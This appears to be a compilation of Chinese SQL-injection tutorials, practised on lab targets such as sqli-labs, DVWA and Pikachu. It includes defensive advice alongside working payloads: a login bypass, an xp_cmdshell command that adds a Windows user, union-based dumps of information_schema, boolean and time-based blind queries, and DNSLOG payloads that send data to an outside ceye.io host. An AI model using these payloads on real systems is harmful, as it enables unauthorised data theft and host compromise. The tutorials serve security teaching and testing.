整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          Web常見安全漏洞-SQL注入

          QL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全漏洞。 可以用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操作, 甚至有可能獲取數據庫乃至系統用戶最高權限。

          而造成SQL注入的原因是因為程序沒有有效過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的SQL查詢代碼, 程序在接收后錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變, 額外的執行了攻擊者精心構造的惡意代碼。

          SQL注入實例

          很多Web開發者沒有意識到SQL查詢是可以被篡改的,從而把SQL查詢當作可信任的命令。 殊不知,SQL查詢是可以繞開訪問控制,從而繞過身份驗證和權限檢查的。更有甚者,有可能通過SQL查詢去運行主機系統級的命令。

          下面將通過一些真實的例子來詳細講解SQL注入的方式。

          考慮以下簡單的登錄表單:

          <form action="/login" method="POST">
          
           <p>Username: <input type="text" name="username" /></p>
          
           <p>Password: <input type="password" name="password" /></p>
          
           <p><input type="submit" value="登陸" /></p>
          
          </form>
          

          我們的處理里面的SQL可能是這樣的:

          String username = request.get("username");
          String password = request.get("password");
          String sql = "SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'";
          

          如果用戶的輸入的用戶名如下,密碼任意:

          myuser' or 'foo' = 'foo' --
          

          那么我們的SQL變成了如下所示:

          SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
          

          在SQL里面–是注釋標記,所以查詢語句會在此中斷。這就讓攻擊者在不知道任何合法用戶名和密碼的情況下成功登錄了。

          對于MSSQL還有更加危險的一種SQL注入,就是控制系統, 下面這個可怕的例子將演示如何在某些版本的MSSQL數據庫上執行系統命令:

          sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
          Db.Exec(sql)
          

          如果攻擊提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作為變量 prod的值,那么sql將會變成

          sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
          

          MSSQL服務器會執行這條SQL語句,包括它后面那個用于向系統添加新用戶的命令。 如果這個程序是以sa運行而 MSSQLSERVER服務又有足夠的權限的話,攻擊者就可以獲得一個系統帳號來訪問主機了。

          對其他數據庫也有類似的攻擊。

          如何預防SQL注入

          永遠不要信任外界輸入的數據,特別是來自于用戶的數據,包括選擇框、表單隱藏域和 cookie。 就如上面的第一個例子那樣,就算是正常的查詢也有可能造成災難。

          下面這些建議或許對防治SQL注入有一定的幫助:

          1. 嚴格限制Web應用的數據庫的操作權限,給此用戶提供僅僅能夠滿足其工作的最低權限,從而最大限度的減少注入攻擊對數據庫的危害。
          2. 檢查輸入的數據是否具有所期望的數據格式,嚴格限制變量的類型,例如使用regexp包進行一些匹配處理, 或者使用strconv包對字符串轉化成其他基本類型的數據進行判斷。
          3. 對進入數據庫的特殊字符(’”\尖括號&*;等)進行轉義處理,或編碼轉換。
          4. 所有的查詢語句建議使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中, 比如Java中的PrepareStatement。
          5. 在應用發布之前建議使用專業的SQL注入檢測工具進行檢測, 以及時修補被發現的SQL注入漏洞。網上有很多這方面的開源工具,例如sqlmap、SQLninja等。
          6. 避免網站打印出SQL錯誤信息,比如類型錯誤、字段不匹配等,把代碼里的SQL語句暴露出來,以防止攻擊者利用這些錯誤信息進行SQL注入。

          總結

          SQL注入是危害相當大的安全漏洞。所以對于我們平常編寫的Web應用,應該對于每一個小細節都要非常重視。

          #34;個性,始于不再與他人相較之時

          —卡爾 拉格斐"


          01注入基礎概念

          SQL是操作數據庫的語言,日常的應用程序與數據庫中進行數據交互是普遍的現象。黑客攻擊滲入系統有種方式叫做SQL注入,從而獲取業務數據,造成用戶數據泄露或者惡意篡改數據、刪除數據等,給企業帶來實質的損失。

          使用通俗的語言介紹SQL注入,就是將Web頁面的原URL、表單域或數據包輸入的參數,修改拼接成SQL語句,傳遞給Web服務器,進而傳給數據庫服務器以執行數據庫命令用戶發起請求時,將web頁面中的URL、表單或者參數,進行修改拼裝成SQL語句,傳遞給服務端,服務端把參數傳遞給SQL的執行語句,進行數據庫的操作。

          02注入的簡單原理

          是的,你沒有看錯,就測試過程中修改入參或者攔截接口請求修改參數。唯一的區別就是入參傳遞的格式有一定的要求。

          下圖中的WEB頁面是OWASP靶機的SQL注入界面,頁面功能是輸入用戶的ID,獲取用戶的信息。這個輸入框是個SQL的注入點。

          注:查找SQL的注入點可以利用自動探索的工具(如:工具SQLMap)。

          關注公眾號,了解如何探查程序中的SQL注入點

          ITester測試集中營ITester軟件測試者的集中營,在這里你可以學習行業知識、了解行業動向、獲得簡歷指點、面試、收獲一起成長的小伙伴,每周不定期為大家更新知識、談談工作與生活體會,愛測試歡迎你的加入~30篇原創內容

          公眾號


          Submit對應的后端邏輯代碼如下:

          <?php    
          if(isset($_GET['Submit'])){
              
              // Retrieve data
              
              $id = $_GET['id'];
          
          
              $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";//著重看這行
              $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
          
          
              $num = mysql_numrows($result);
          
          
              $i = 0;
          
          
              while ($i < $num) {
          
          
                  $first = mysql_result($result,$i,"first_name");
                  $last = mysql_result($result,$i,"last_name");
                  
                  echo '<pre>';
                  echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
                  echo '</pre>';
          
          
                  $i++;
              }
          }
          ?>

          著重看SQL執行的這段代碼和返回前端的代碼,SQL執行的參數是通過前端傳過來的id,id直接拼裝在SQl語句中執行SQL并返回First name和Surname。

          $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
          $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
          echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;

          咱們改造下入參,看看執行的效果,如下圖:

          后端的代碼收到參數后,拼接到SQL語句的時候就長這個樣子

          $getid = "SELECT first_name, last_name FROM users WHERE user_id = '' or '1=1'";

          分析SQL句子 where 條件后面user_id = ' ' or '1=1'。

          因為1=1永遠成立,so不管where后面啥條件,where條件都是永久成立。所以SELECT first_name, last_name FROM users WHERE user_id = '' or '1=1'

          等價于

          SELECT first_name, last_name FROM users

          最后執行的結果是查詢出了users表中的所有用戶數據。

          結論:這就是SQL注入的基本形式


          03注入的危害

          1、數據庫信息泄漏,攻擊者未經授權可以訪問數據庫中的數據,盜取用戶的隱私以及個人信息,造成用戶的信息泄露。  

          2、通過操作數據庫對指定網頁進行篡改;

          3、修改數據庫一些字段的值,嵌入木馬鏈接,進行掛馬攻擊

          4、攻擊者進而可以對網頁進行篡改,發布一些違法信息等。

          5、服務器被遠程控制安裝后門。可以對數據庫進行增加或刪除操作

          6、破壞硬盤數據,導致全系統癱瘓;


          04如何避免被注入

          首先,web前端的輸入框要進行攔截和校驗,如:正則表達式攔截標點、特殊字符等。

          再次,server層的攔截和校驗。(如java語言,使用JDBC進行數據操作時,使用PreparedStatement對象執行SQL操作,PreparedStatement對象對特殊字符會進行轉義的操作,避免被注入sql)


          之前不了解SQL注入時,認為測試在日常中是不會涉及到安全相關的工作。一直也認為沒啥用,學他干啥。了解原理后,發現sql注入挺有趣的。并沒用到多高端的技術,多牛的軟件進行攻擊破解,簡單的利用代碼編寫的不嚴謹,同時利用SQL語言自有的功能,通過sql拼接的形式進行傳遞,嘗試與數據庫建立連接。只要連接上你的庫,那你就危險了。輕則盜取你點數據,重則給你搞點破壞,讓你無法運營。同時讓我更加全面了解到,接口請求的參數中含有特殊字符,不僅對程序處理有影響,條件允許的情況下也會對數據產生危害。

          客觀角度來看,SQL 注入是因為前端輸入控制不嚴格造成的漏洞,使得攻擊者可以輸入對后端數據庫有危害的字符串或符號,使得后端數據庫產生回顯或執行命令,從而實現對于數據庫或系統的入侵;從攻擊者角度來看,需要拼接出可以使后端識別并響應的 SQL 命令,從而實現攻擊

          淺析 MYSQL數據庫SQL 注入漏洞

          什么是 SQL 注入

          從客觀角度來看,SQL 注入是因為前端輸入控制不嚴格造成的漏洞,使得攻擊者可以輸入對后端數據庫有危害的字符串或符號,使得后端數據庫產生回顯或執行命令,從而實現對于數據庫或系統的入侵;從攻擊者角度來看,需要拼接出可以使后端識別并響應的 SQL 命令,從而實現攻擊

          RDBMS(關系型數據庫) 術語

          這里僅說明與 SQL 注入相關的術語:

          • 數據庫:關聯表的集合
          • 數據表:表是數據的矩陣,看起來就像我們日常生活中的 Excel 表格
          • 列:一列,包含了相同類型的數據
          • 行:一行,一組相關的數據,比如一個用戶所有維度的信息SQL 注入類型分類

          從注入參數類型分:數字型注入、字符型注入
          從注入效果分:報錯注入、無顯盲注(布爾盲注、延時盲注)、聯合注入、堆疊注入、寬字節注入、二次注入
          從提交方式分:GET注入、POST注入、HTTP頭注入(UA注入、XFF注入)、COOKIE注入

          SQL 注入的常見位置

          1. URL參數:攻擊者可以在應用程序的 URL 參數中注入惡意 SQL 代碼,例如在查詢字符串或路徑中
          2. 表單輸入:應用程序中的表單輸入框,如用戶名、密碼、搜索框等,如果沒有進行充分的輸入驗證和過濾,就可能成為 SQL 注入的目標
          3. Cookie:如果應用程序使用 Cookie 來存儲用戶信息或會話狀態,攻擊者可以通過修改 Cookie 中的值來進行 SQL 注入
          4. HTTP頭部:有些應用程序可能會從 HTTP 頭部中獲取數據,攻擊者可以在 HTTP 頭部中注入惡意 SQL 代碼。
          5. 數據庫查詢語句:在應用程序中直接拼接 SQL 查詢語句的地方,如果沒有正確地對用戶輸入進行過濾和轉義,就可能導致 SQL 注入漏洞

          如何判斷是否存在 SQL 注入

          • 單雙引號判斷
          • and 型判斷
          • or 或 xor 判斷
          • exp(709) exp(710)

          聯合注入

          通過學習聯合注入,我們可以習得 SQL 注入的思想和基礎,聯合注入一般分為以下七步:

          第一步-類型判斷

          判斷是否存在注入,若存在,則判斷是字符型還是數字型,簡單來說就是數字型不需要符號包裹,而字符型需要

          數字型:select * from table where id =$id
          字符型:select * from table where id='$id'

          判斷類型一般可以使用 and 型結合永真式和永假式,判斷數字型:

          1 and 1=1 #永真式   select * from table where id=1 and 1=1
          1 and 1=2 #永假式   select * from table where id=1 and 1=2
          #若永假式運行錯誤,則說明此SQL注入為數字型注入
          

          判斷字符型:

          1' and '1'='1
          1' and '1'='2
          #若永假式運行錯誤,則說明此SQL注入為字符型注入
          

          第二步-查字段個數

          使用order by查詢字段個數,上一步我們已經判斷出了是字符型還是數字型,也就是說我們已經構建出了一個基本的框架(在初學 SQL 注入時 “框架” 的思想十分重要)

          這里我們用 Sqli-labs 第一關來詳細解釋一下框架思想,首先使用單引號進行測試,出現 SQL 語句報錯,則此關為字符型注入


          之后引出了 SQL 注入的另外一個重要知識點,也就是注釋的使用(可以確認有沒有其他閉合字符),MySQL 提供了以下三種注釋方法:

          • #:不建議直接使用,會被瀏覽器當做 URL 的書簽,建議使用其 URL 編碼形式%23
          • --+:本質上是--空格+會被瀏覽器解釋為空格,也可以使用 URL 編碼形式``--%20
          • /**/:多行注釋,常被用作空格

          這里我們使用%23將 SQL 語句后面的單引號注釋掉,也就形成了我們的框架,后面的所有內容都是在框架里進行的,只會對框架做微調


          之后我們在框架中使用
          order by 數字來查詢字段的個數,這里的關鍵是找到臨界值,例如order by 4時候還在報錯,但是order by 3時沒有出現報錯,3 就是這里的臨界值,說明這里存在 3 個字段

          第三步-查找顯示位

          使用union select查找顯示位,上一步我們已經知道了字段的具體個數,現在我們要判斷這些字段的哪幾個會在前端顯示出來,這些顯示出來的字段叫做顯示位,我們使用union select 1,2,3.....(字段個數是多少個就寫到幾)來對位置的順序進行判斷(其中數字代表是幾號顯示位)

          這里我們需要對框架做一下微調,也就是將 1 改為 -1,這里修改的目的是查詢一個不存在的 id,使得第一句為空,顯示第二句的結果,這里我們可以發現 1 號字段是在前端不顯示的,2 號和 3 號字段在前端顯示,所以是顯示位

          第四步-爆庫名

          使用database()函數爆出庫名,database()函數主要是返回當前(默認)數據庫的名稱,這里我們把它用在哪個顯示位上都可以

          第五步-爆表名

          基于庫名使用table_name爆出表名,先來介紹一下使用到的函數和數據源:

          • group_concat()函數:使數據在一列中輸出
          • information_schema.tables數據源:存儲了數據表的元數據信息,我們主要使用此項數據源中的table_nametable_schema字段

          最終可以構造出 Payload 如下,可以獲取到 emails,referers,uagents,users 四張表

          http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
          

          第六步-爆列名

          基于表名使用column_name爆出列名,此時數據源為information_schema.columns,位置在table_name='表名'(記得給表名加單引號)

          最終構造 Payload 如下,可以獲取到 id,email_id 兩個字段

          http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' %23
          

          第七步-爆信息

          使用列名爆敏感信息,直接 from 表名即可,這里需要使用group_concat(concat_ws())實現數據的完整讀取,group_concat()函數在前面幾步就接觸過,主要是使數據在一列中輸出

          這就帶來了一個問題,如果直接把列放入group_concat()函數,列間的界限就不清晰了,concat_ws()就是為了區分列的界限所使用的,其語法如下:

          concat_ws('字符',字段1,字段2,.....)
          

          最終我們便可以構造出獲取數據的 Payload:

          http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('-',id,email_id)) from emails %23
          

          報錯注入

          報錯注入的本質是使用一些指定的函數制造報錯,從而從報錯信息獲得我們想要的內容,使用前提是后臺沒有屏蔽數據庫的報錯信息,且報錯信息會返回到前端,報錯注入一般在無法確定顯示位的時候使用,我們先來了解一下報錯注入的類型和會用到的函數

          XPath 導致的報錯

          updatexml()函數和extractvalue()函數都可以歸類為是 XPath 格式不正確或缺失導致報錯的函數

          updatexml() 函數

          updatexml()函數本身是改變 XML 文檔中符合條件的值,其語法如下:

          updatexml(XML_document,XPath_string,new_value)
          

          語法中使用到以下三個參數

          • XML_document:XML 文檔名稱,使用 String 格式作為參數
          • XPath_string:路徑,XPath 格式,updatexml()函數如果這項參數錯誤便會導致報錯,我們主要利用的也是這個參數
          • new_value:替換后的值,使用 String 格式作為參數

          extractvalue() 函數

          extractvalue()函數本身用于在 XML 文檔中查詢指定字符,語法如下:

          extractvalue(XML_document,xpath_string)
          

          語法中使用到以下兩個參數

          • XML_document:XML 文檔名稱,使用 String 格式作為參數
          • XPath_string:路徑,XPath 格式,extractvalue()函數也在這里產生報錯

          主鍵重復導致的報錯

          主鍵報錯注入是由于rand()count()floor()三個函數和一個group by語句聯合使用造成的,缺一不可

          rand() 函數

          rand()函數的基礎語法是這樣的,它的參數被叫做 seed(種子),當種子為空的時候,rand()函數會返回一個[0,1)范圍內的隨機數,當種子為一個數值時,則會返回一個可復現的隨機數序列

          rand(seed)
          

          如果還不能理解種子的概念,我來說一個種子在其他領域的應用,我的世界這款游戲大家應該不陌生,在創建世界的時候,可以使用種子來指定固定的世界類型


          例如
          -1834063422這個種子生成的世界一定是包含廢棄村莊的世界


          在 Mysql 中也是這樣的,只要輸入種子,一定返回一個可復現的隨機數序列,這里還有一個小細節,
          種子是只取整數部分的,使用小數點后第一位進行四舍五入取整

          使用Select rand(seed) FROM users;查詢語句進行測試,驗證一下上面的結論

          至此,我們可以看出,seed()函數存在種子時,是偽隨機的,這里的 “偽” 是有規律的意思,代表計算機產生的數字即是隨機的也是有規律的

          floor() 函數

          floor()函數的作用就是返回小于等于括號內該值的最大整數,也就是取整,它這里的取整不是進行四舍五入,而是直接留下整數位,去掉小數位,如果是負數則整數位需要加一

          count() 函數

          count()是聚合函數的一種,是 SQL 的基礎函數,除此以外,還有sum()avg()min()max()等聚合函數,語法如下

          select count(字段) from 表名; --得到該列值的非空值的行數
          
          select count(*) from 表名; --用于統計整個表的行數
          

          group by 語句

          group by語句的用法如下,它用于結合聚合函數,根據一個或多個列對結果集進行分組

          group by 列名;
          

          這里舉個例子方便大家理解,創建一個名為users的表,表的構成如下圖

          我想知道在所有用戶中,不同等級的各有多少人,我們便可以構造 SQL 語句如下

          -- 選擇 "level" 列和行數(由 COUNT(*) 計算)
          SELECT level, COUNT(*)
          -- 從 "users" 表中選擇數據
          FROM users
          -- 按 "level" 列的值分組數據
          GROUP BY level;
          

          最終查詢出不同等級的用戶分別有多少人

          這里我們借這個例子深入一下它的工作原理,group by語句在執行時,會依次查出表中的記錄并創建一個臨時表(這個臨時表是不可見的),group by的對象便是該臨時表的主鍵(level),如果臨時表中已經存在該主鍵,則將值加1,如果不存在,則將該主鍵插入到臨時表中
          這里我們逐步模擬臨時表的流程,最終可以發現與我們使用 SQL 語句得出的結果一致

          報錯原因分析

          floor()報錯注入是利用下方這個相對固定的語句格式,導致的數據庫報錯

          select count(*),(floor(rand(0)*2)) x from users group by x
          

          我們先來分析(floor(rand(0)*2))在 SQL 語句中的含義,我們先來看它的內層rand(0)*2,以 0 為種子使用send()函數生成隨機數序列,并且將數列中的每一項結果乘以 2


          再將乘以 2 后的結果放入
          floor()函數取整,最后得出偽隨機數列如下,因為使用了固定的隨機數種子0,他每次產生的隨機數列的前六位都是相同的0 1 1 0 1 1的順序

          這時我們思考一個問題,基于上面group by語句的工作原理,我們可以知道,主鍵重復了就會使count(*)的值加 1,最終只是count(*)的值不同,那為什么說是主鍵重復導致的報錯呢?

          其實是這里有一個細節沒有介紹,當group by語句與rand()函數一起使用時,Mysql 會建立一張臨時表,這張臨時表有兩個字段,一個是主鍵,一個是count(*),此時臨時表無任何值,Mysql 先計算group by后面的值,也就是floor()函數(它們之間是以x作為媒介傳遞的),如果此時臨時表中沒有該主鍵,則在插入前rand()函數會再計算一次

          上面提到固定序列的第一個值為 0,Mysql 查詢臨時表,發現沒有主鍵為 0 的記錄,因此將此數據插入,這時因為臨時表中沒有該主鍵,Mysql 插入的過程中還會計算一次group by后面的值,也就是floor()函數,但是此時floor()函數的結果為固定序列的第二個值,因此插入的主鍵為1,count(*)也為1

          如果以上內容大家有點繞,可以簡單理解為 Mysql 的動作有兩步,第一步是判斷是否存在,第二步是插入數據,每步都需要rand()函數計算一次,并最終通過floor()函數輸出結果(這種情況只在主鍵不存在時發生)


          緊接著 Mysql 會繼續查詢下一條數據,若發現重復的主鍵,則
          count(*)加 1,若沒有找到主鍵,則添加新主鍵,此時遍歷的是users表中的第二行,floor()函數的值是固定數列的第三項為 1,主鍵重復,count(*)加 1


          此時我們來到了報錯的關鍵點,此時遍歷
          users表中的第三行,floor()函數的值是固定數列的第四項為 0,此時不存在該主鍵,則需要進行剛才的兩步走,做判斷用的是固定數列的第四項為 0,插入時應用到固定數列的第五項為 1,此時 1 被當做一個新的主鍵插入到臨時表中,則產生了主鍵重復錯誤

          Payload 優化

          由上面的原理可見,利用floor(rand(0)*2)產生報錯需要數據表里至少存在 3 條記錄,我們可以再極限一點,使用floor(rand(14)*2),即可在存在 2 條記錄的時候使用了


          其原理如下,在第二條第二步時再次使用 0 當做主鍵插入導致主鍵重復報錯

          數據溢出導致的報錯

          exp() 函數

          MySQL 中的exp()函數用于將 e 提升為指定數字 x 的冪,也就是 $e^{x}$

          exp(x)
          

          例如exp(2)就是 $e^{2}$


          我們可用利用 Mysql Double 數值范圍有限的特性構造報錯,一旦結果超過范圍,
          exp()函數就會報錯,這個分界點就是 709,當exp()函數中的數字超過 709 時就會產生報錯

          當 MySQL 版本大于 5.5.53 時,exp()函數報錯無法返回查詢結果,只會得到一個報錯,所以在真實環境中使用它做注入局限性還是比較大的,但是可以用判斷是否存在 SQL 注入

          pow() 函數

          MySQL 中的pow()函數用于將 x(基數) 提升為 y(指數) 的冪,也就是 $x^{y}$,語法如下

          pow(x,y)
          

          報錯原理和exp()函數一樣,超出了 Mysql Double 數值的范圍,導致報錯

          空間數據類型導致的錯誤

          這類報錯因為 Mysql 版本限制導致用的比較少,這里列出來,大家有興趣的話可以做一下深入研究,簡單來說,這類函數報錯的原因是函數對參數要求是形如(1 2,3 3,2 2 1)這樣幾何數據,如果不滿足要求,則會報錯,可以產生報錯的函數如下:

          geometrycollection()
          multiponint()
          polygon()
          multipolygon()
          linestring()
          multilinestring()
          

          無顯注入(盲注)

          無顯注入適用于無法直接從頁面上看到注入語句的執行結果,甚至連注入語句是否執行都無從得知的情況,這種情況我們就要利用一些特性和函數自己創造判斷條件

          基于布爾的盲注

          在介紹布爾盲注的原理前,先來了解一下它用到的函數

          常用函數

          • left()函數:從左邊截取指定長度的字符串
          • left(指定字符串,截取長度)
          • length()函數:獲取指定字符串的長度
          • length(指定字符串)
          • substr()函數和mid()函數:截取字符串,可以指定起始位置(從 1 開始計算)和長度
          • substr(字符串,起始位置,截取長度) mid(字符串,起始位置,截取長度)
          • ascii()函數:將指定字符串進行 ascii 編碼
          • ascii(指定字符串)

          布爾盲注原理

          布爾(Boolean)是一種數據類型,通常是真和假兩個值,進行布爾盲注入時我們實際上使用的是抽象的布爾概念,即通過頁面返回正常(真)與不正常(假)判斷,這里我們用 Sqli-labs 第八關幫助大家理解它
          先添加參數
          ?id=1

          先用單引號判斷類型,發現添加單引號后并沒有報錯,但是 You are in... 消失了,這里也就為我們判斷創造了條件,后面我們就需要觀察 You are in... 是否出現,找不同情況

          這里我們再添加一個單引號,發現 You are in... 出現,則本關為字符型注入,使用單引號包裹

          因為這里只會回顯真或假,無法直接拿到數據庫的名字,但是我們可以降低一點條件,可以先判斷出數據庫名的長度(最長為 30),這里可以先給一個范圍,觀察一下回顯(二分法)

          //先猜測數據庫名是否比5長,發現為真
          1' and length(database())>5--+
          
          //再判斷數據庫是否比10長,發現為假
          1' and length(database())>10--+
          
          //此時數據庫大于5小于等于10,依次嘗試可以發現長度為8
          1' and length(database())=8--+
          

          拿到長度后,我們使用substr()函數或mid()函數一位一位的猜測數據庫字符,Mysql 庫名一共可以使用 63 個字符,分別是:a-zA-Z0-9_

          這里我們先來判斷第一位是什么字符,這里我們使用 Burp Suite Intruder 模塊快速進行,將字符標記為 Payload 設置字典為 a-zA-Z0-9_,發現 s 和 S 回顯長度與其他字符不同,說明這里第一位是 s ,這里大小寫都有是因為 Mysql在 Windows 下對大小寫不敏感

          MySQL 在 Windows 下不區分大小寫,但在 Linux 下默認是區分大小寫,由lower_case_file_systemlower_case_table_names兩個參數控制


          這里還可以進階一下,使用集束炸彈模式,將字符位置設置為 Payload 1,字符內容設置為 Payload 2,實現一次爆破出所有字符

          我們對一到八位依次判斷后可以發現庫名為 security,這里還可以用ascii()函數和substr()函數嵌套或使用left()函數實現,但都沒有直接用substr()函數 + Intruder 模塊方便,這里就不再贅述
          之后我們使用count()函數來判斷表的個數,這里依然可以使用 Intruder 模塊,判斷出有四個表

          個數清晰后再來判斷每個表名的長度,這里使用了limit方法,語法如下

          limit N,M   //從第 N 條記錄開始, 返回 M 條記錄
          

          這里依次判斷表的長度:

          第一個表長度為6
          ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
          
          第二個表長度為8
          ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
          
          第三個表長度為7
          ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=7 --+
          
          第四個表長度為5
          ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 --+
          

          知道每個表的長度后,我們再使用和庫名一樣的方式猜解表名


          例如第一個表名稱為 emails


          知道表(第四個表,長度為五,是 users)的信息后,我們再來猜列的個數,這里可以看到有三個列

          ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
          


          再來判斷每個列的長度

          第一個列長度為2
          ?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
          
          第二個列長度為8
          ?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
          
          第三個列長度為8
          ?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 2,1))=8 --+
          

          再用同樣的方法猜解列的名字,這里以第二個列為例,列名為 username


          下面還是如法炮制,判斷列中有多少數據,我們可以使用
          count(*)

          ?id=1' and (select count(*) from users)=13 --+
          


          之后再來判斷每條數據的長度

          第一個數據長度為4
          ?id=1' and length((select username from users limit 0,1))=4  --+
          
          第二個數據長度為8
          ?id=1' and length((select username from users limit 1,1))=8  --+
          
          第三個數據長度為5
          ?id=1' and length((select username from users limit 2,1))=5  --+
          
          ...
          
          第十三個數據長度為6
          ?id=1' and length((select username from users limit 12,1))=6  --+
          

          再用同樣的方法猜解數據的內容,這里以第一個數據為例,數據內容為 dumb


          至此布爾盲注的原理變得清晰,我們可以用一張導圖來總結

          基于時間的盲注

          時間盲注可以用在比布爾盲注過濾還要嚴格的環境中,當頁面連真和假這個判斷條件都不提供時,我們便可以讓我們自己創造時間這一條件,當語句被執行時,便會產生延遲,反之則不會,我們先來看一下時間盲注的常用函數

          常用函數

          • sleep()函數:將程序執行的結果延遲返回 n 秒
          • sleep(n)
          • if()函數:參數1為條件,當參數 1 返回的結果為 true 時,執行參數 2,否則執行參數 3,有點像 Java 里的三元運算符
          • if(參數1,參數2,參數3)

          延時盲注原理

          延時盲注的實現本質上就是if()函數嵌套sleep()函數的綜合利用,將sleep()函數作為if()函數的第二個參數,也就是當參數一被成功執行時(結果為 true)對返回結果執行延時,反之則執行參數三的直接回顯

          這里我們用 Sqli-labs 第九關幫助大家理解它,先嘗試進行閉合,可以發現無論使用什么符號都是顯示一樣的內容,再使用sleep()函數進行輔助判斷,可以發現當滿足閉合條件時,頁面會延遲回顯

          ?id=1' and sleep(5) --+ //滿足閉合條件,頁面延遲回顯
          ?id=1' and sleep(5) //不滿足閉合條件,頁面直接回顯
          

          我們可以使用瀏覽器的【網絡】功能進行更直觀的判斷,當我們不滿足閉合條件時,延遲為 108 毫秒


          當滿足閉合條件時,可以看到延遲增加了五秒


          先獲取一下庫長度,當長度為 8 時,會延遲 5 秒執行,所以可以確定庫長度為 8

          ?id=1' and if(length(database())=8,sleep(5),1)--+
          


          下面再來判斷庫名,為了方便觀察將延時時間調為 15 秒,這步如果手工測試效率會非常低,我們依然是使用 Intruder 模塊

          ?id=1' and if(substr(database(),1,1)='a',sleep(15),1)--+
          

          這里爆破后我們點擊最上方的列(Columns)功能,增加一個響應完成時間的維度,時間長的便是正確的字符,表名、字段名、數據內容猜解原理與表名相同,這里就不再贅述

          基于 DNSLOG 的注入

          DNSLOG 是存儲在 DNS 服務器上的域名信息,它記錄著用戶對域名的訪問信息,類似日志文件。像是 SQL 盲注、命令執行、SSRF 及 XSS 等攻擊但無法看到回顯結果時,就會用到 DNSLOG 技術,相比布爾盲注和時間盲注,DNSLOG 減少了發送的請求數,可以直接回顯,也就降低了被安全設備攔截的可能性

          DNSLOG 注入優點眾多,但利用條件也較為嚴苛

          • 只支持 Windows 系統的服務端,因為要使用 UNC 路徑這一特性,Linux 不具備此特性
          • Mysql 支持使用load_file()函數讀取任意盤的文件 ### UNC 路徑

          UNC 全稱 Universal Naming Convention,譯為通用命名規范,例如我們在使用虛擬機的共享文件功能時,便會使用到 UNC 這一特性

          UNC 路徑的格式如下:

          \\192.168.0.1\test\
          

          這里我們使用運行使用 UNC 路徑訪問www.dnslog.cn,并使用 wireshark 抓包,可以看到確實存在對www.dnslog.cn這個域名進行 DNS 請求的流量,但是并不會在瀏覽器直接打開網站

          load_file() 函數

          上文我們提到,load_file()函數可以讀取任意盤的文件才可以使用 DNSLOG 注入,它的讀取范圍由 Mysql 配置文件my.ini中的secure_file_priv參數決定

          • secure_file_priv為空,就可以讀取磁盤的目錄
          • secure_file_privG:\,就可以讀取G盤的文件
          • secure_file_priv為 null,load_file()函數就不能加載文件(null 和空是兩種情況) ### DNSLOG 盲注原理

          先給出最常用的兩種 Payload

          Payload 1:
          and if((select load_file(concat('//',(select 攻擊語句),'.xxxx.ceye.io/sql_test'))),1,0)
          
          Payload 2:
          and if((select load_file(concat('\\\\',(select 攻擊語句),'.xxxx.ceye.io\\sql_test'))),1,0)
          

          Payload 1,2 大體的思路都是一樣的,也就是在if()函數中嵌套load_file()函數再使用 UNC 路徑進行讀取,sql_test這里寫什么都可以,只是為了符合load_file()函數格式,讀取時會產生 DNS 訪問信息,唯一的不同點在于 Payload 2 在 URL 中使用\(反斜杠)時要雙寫配合轉義

          轉義:轉義是一種引用單個字符的方法. 一個前面放上轉義符 ()的字符就是告訴 shell 這個字符按照字面的意思進行解釋

          這里使用 Pikachu 靶場的時間盲注關卡進行演示,方便大家進行理解,在測試前一定先要確保secure_file_priv選項為空,可以使用show variables like '%secure%';進行查詢


          在修改
          my.ini文件時需要注意secure_file_priv選項是新增的,本身并沒有這個選項


          通過判斷可以發現是單引號閉合,先爆出庫名,可以通過 DNSLOG 平臺看到庫名為 pikachu


          這里還可以使用
          hex()函數,將回顯內容編碼為十六進制,這樣做的好處是,假設回顯內容存在特殊字符!@#$%^&,包含特殊字符的域名無法被解析,DNSLOG也就無法記錄信息,進行編碼后就不存在這個問題

          后面整體的思路和聯合查詢基本一致,只是利用 DNSLOG 創造了回顯的條件,這里不再贅述

          堆疊注入

          堆疊注入的基本原理是在一條 SQL 語句結束后(通常使用分號;標記結束),繼續構造并執行下一條SQL語句,這種注入方法可以執行任意類型的語句,包括查詢、插入、更新和刪除等等

          與聯合注入相比,堆疊注入最明顯的差別便是它的權限更大了,例如使用聯合注入時,后端使用的是 select 語句,那么我們注入時也只能執行 select 操作,而堆疊查詢是一條新的 SQL 語句,不受上一句的語法限制,操作的權限也就更大了

